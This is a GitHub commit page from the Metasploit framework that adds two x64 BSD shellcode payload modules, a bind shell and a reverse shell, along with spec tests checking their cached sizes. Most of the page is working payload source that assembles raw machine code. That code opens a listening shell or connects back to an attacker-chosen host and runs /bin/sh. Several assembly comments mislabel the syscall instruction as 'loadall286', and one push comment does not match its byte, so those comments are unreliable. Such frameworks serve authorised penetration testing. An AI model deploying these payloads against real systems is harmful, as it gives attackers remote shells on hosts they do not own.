Skip to content

Commit 3fbd4e2

Browse files
wvuwvu
committed
Land rapid7#5172, x64 BSD shell_{bind,reverse}_tcp
2 parents 79ca0a5 + 46d53a2 commit 3fbd4e2

File tree

3 files changed

+220
-0
lines changed

3 files changed

+220
-0
lines changed

‎modules/payloads/singles/bsd/x64/shell_bind_tcp.rb

Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
require 'msf/core/handler/bind_tcp'
9+
10+
module Metasploit3
11+
12+
CachedSize = 136
13+
14+
include Msf::Payload::Single
15+
include Msf::Payload::Bsd
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'BSD x64 Shell Bind TCP',
21+
'Description' => 'Bind an arbitrary command to an arbitrary port',
22+
'Author' => [
23+
'nemo <nemo[at]felinemenace.org>',
24+
'joev'
25+
],
26+
'License' => MSF_LICENSE,
27+
'Platform' => 'bsd',
28+
'Arch' => ARCH_X86_64,
29+
'Handler' => Msf::Handler::BindTcp,
30+
'Session' => Msf::Sessions::CommandShellUnix
31+
))
32+
33+
# exec payload options
34+
register_options(
35+
[
36+
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
37+
Opt::LPORT(4444)
38+
], self.class)
39+
end
40+
41+
# build the shellcode payload dynamically based on the user-provided CMD
42+
def generate
43+
cmd = (datastore['CMD'] || '') << "\x00"
44+
port = [datastore['LPORT'].to_i].pack('n')
45+
call = "\xe8" + [cmd.length].pack('V')
46+
payload =
47+
"\x31\xc0" + # xor eax,eax
48+
"\x83\xc0\x61" + # add eax,0x61
49+
"\x6A\x02" + # push byte 0x1
50+
"\x5f" + # pop rdi
51+
"\x6A\x01" + # push byte 0x1
52+
"\x5e" + # pop rsi
53+
"\x48\x31\xD2" + # xor rdx,rdx
54+
"\x0F\x05" + # loadall286
55+
"\x48\x89\xC7" + # mov rdi,rax
56+
"\x31\xc0" + # xor eax,eax
57+
"\x83\xc0\x68" + # add eax,0x68
58+
"\x48\x31\xF6" + # xor rsi,rsi
59+
"\x56" + # push rsi
60+
"\xBE\x00\x02" + port + # mov esi,0xb3150200
61+
"\x56" + # push rsi
62+
"\x48\x89\xE6" + # mov rsi,rsp
63+
"\x6A\x10" + # push 0x10
64+
"\x5A" + # pop rdx
65+
"\x0F\x05" + # loadall286
66+
"\x31\xc0" + # xor eax,eax
67+
"\x83\xc0\x6A" + # add eax,0x6a
68+
"\x48\x31\xF6" + # xor rsi,rsi
69+
"\x48\xFF\xC6" + # inc rsi
70+
"\x49\x89\xFC" + # mov r12,rdi
71+
"\x0F\x05" + # loadall286
72+
"\x31\xc0" + # xor eax,eax
73+
"\x83\xc0\x1E" + # add eax,0x1e
74+
"\x4C\x89\xE7" + # mov rdi,r12
75+
"\x48\x89\xE6" + # mov rsi,rsp
76+
"\x48\x89\xE2" + # mov rdx,rsp
77+
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
78+
"\x0F\x05" + # loadall286
79+
"\x48\x89\xC7" + # mov rdi,rax
80+
"\x31\xc0" + # xor eax,eax
81+
"\x83\xc0\x5A" + # add eax,0x5a
82+
"\x48\x31\xF6" + # xor rsi,rsi
83+
"\x0F\x05" + # loadall286
84+
"\x31\xc0" + # xor eax,eax
85+
"\x83\xc0\x5A" + # add eax,0x5a
86+
"\x48\xFF\xC6" + # inc rsi
87+
"\x0F\x05" + # loadall286
88+
"\x48\x31\xC0" + # xor rax,rax
89+
"\x31\xc0" + # xor eax,eax
90+
"\x83\xc0\x3b" + # add eax,0x3b
91+
call + # call CMD.len
92+
cmd + # CMD
93+
"\x48\x8b\x3c\x24" + # mov rdi, [rsp]
94+
"\x48\x31\xD2" + # xor rdx,rdx
95+
"\x52" + # push rdx
96+
"\x57" + # push rdi
97+
"\x48\x89\xE6" + # mov rsi,rsp
98+
"\x0F\x05" # loadall286
99+
end
100+
end

‎modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb

Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
require 'msf/core/handler/reverse_tcp'
9+
10+
module Metasploit3
11+
12+
CachedSize = 108
13+
14+
include Msf::Payload::Single
15+
include Msf::Payload::Bsd
16+
include Msf::Sessions::CommandShellOptions
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'BSD x64 Shell Reverse TCP',
21+
'Description' => 'Connect back to attacker and spawn a command shell',
22+
'Author' => [
23+
'nemo <nemo[at]felinemenace.org>',
24+
'joev' # copy pasta monkey
25+
],
26+
'License' => MSF_LICENSE,
27+
'Platform' => 'bsd',
28+
'Arch' => ARCH_X86_64,
29+
'Handler' => Msf::Handler::ReverseTcp,
30+
'Session' => Msf::Sessions::CommandShellUnix
31+
))
32+
33+
# exec payload options
34+
35+
register_options(
36+
[
37+
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
38+
Opt::LHOST,
39+
Opt::LPORT(4444)
40+
], self.class)
41+
end
42+
43+
# build the shellcode payload dynamically based on the user-provided CMD
44+
def generate
45+
lhost = datastore['LHOST'] || '127.0.0.1'
46+
47+
# OptAddress allows either an IP or hostname, we only want IPv4
48+
if not Rex::Socket.is_ipv4?(lhost)
49+
raise ArgumentError, "LHOST must be in IPv4 format."
50+
end
51+
52+
cmd = (datastore['CMD'] || '') << "\x00"
53+
port = [datastore['LPORT'].to_i].pack('n')
54+
ipaddr = [lhost.split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N")
55+
56+
call = "\xe8" + [cmd.length].pack('V')
57+
payload =
58+
"\x31\xc0" + # xor eax,eax
59+
"\x83\xc0\x61" + # add eax,0x61
60+
"\x6A\x02" + # push byte +0x2
61+
"\x5F" + # pop rdi
62+
"\x6A\x01" + # push byte +0x1
63+
"\x5E" + # pop rsi
64+
"\x48\x31\xD2" + # xor rdx,rdx
65+
"\x0F\x05" + # loadall286
66+
"\x49\x89\xC4" + # mov r12,rax
67+
"\x48\x89\xC7" + # mov rdi,rax
68+
"\x31\xc0" + # xor eax,eax
69+
"\x83\xc0\x62" + # add eax,0x62
70+
"\x48\x31\xF6" + # xor rsi,rsi
71+
"\x56" + # push rsi
72+
"\x48\xBE\x00\x02" + port + # mov rsi,0x100007fb3150200
73+
ipaddr +
74+
"\x56" + # push rsi
75+
"\x48\x89\xE6" + # mov rsi,rsp
76+
"\x6A\x10" + # push byte +0x10
77+
"\x5A" + # pop rdx
78+
"\x0F\x05" + # loadall286
79+
"\x4C\x89\xE7" + # mov rdi,r12
80+
"\x31\xc0" + # xor eax,eax
81+
"\x83\xc0\x5A" + # add eax,0x5a
82+
"\x48\x31\xF6" + # xor rsi,rsi
83+
"\x0F\x05" + # loadall286
84+
"\x31\xc0" + # xor eax,eax
85+
"\x83\xc0\x5A" + # add eax,0x5a
86+
"\x48\xFF\xC6" + # inc rsi
87+
"\x0F\x05" + # loadall286
88+
"\x48\x31\xC0" + # xor rax,rax
89+
"\x31\xc0" + # xor eax,eax
90+
"\x83\xc0\x3B" + # add eax,0x3b
91+
call + # call CMD.len
92+
cmd + # CMD
93+
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
94+
"\x48\x31\xD2" + # xor rdx,rdx
95+
"\x52" + # push rdx
96+
"\x57" + # push rdi
97+
"\x48\x89\xE6" + # mov rsi,rsp
98+
"\x0F\x05" # loadall286
99+
end
100+
end

‎spec/modules/payloads_spec.rb

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -286,6 +286,26 @@
286286
reference_name: 'bsd/x64/exec'
287287
end
288288

289+
context 'bsd/x64/shell_bind_tcp' do
290+
it_should_behave_like 'payload cached size is consistent',
291+
ancestor_reference_names: [
292+
'singles/bsd/x64/shell_bind_tcp'
293+
],
294+
dynamic_size: false,
295+
modules_pathname: modules_pathname,
296+
reference_name: 'bsd/x64/shell_bind_tcp'
297+
end
298+
299+
context 'bsd/x64/shell_reverse_tcp' do
300+
it_should_behave_like 'payload cached size is consistent',
301+
ancestor_reference_names: [
302+
'singles/bsd/x64/shell_reverse_tcp'
303+
],
304+
dynamic_size: false,
305+
modules_pathname: modules_pathname,
306+
reference_name: 'bsd/x64/shell_reverse_tcp'
307+
end
308+
289309
context 'bsdi/x86/shell/bind_tcp' do
290310
it_should_behave_like 'payload cached size is consistent',
291311
ancestor_reference_names: [

0 commit comments

Comments
 (0)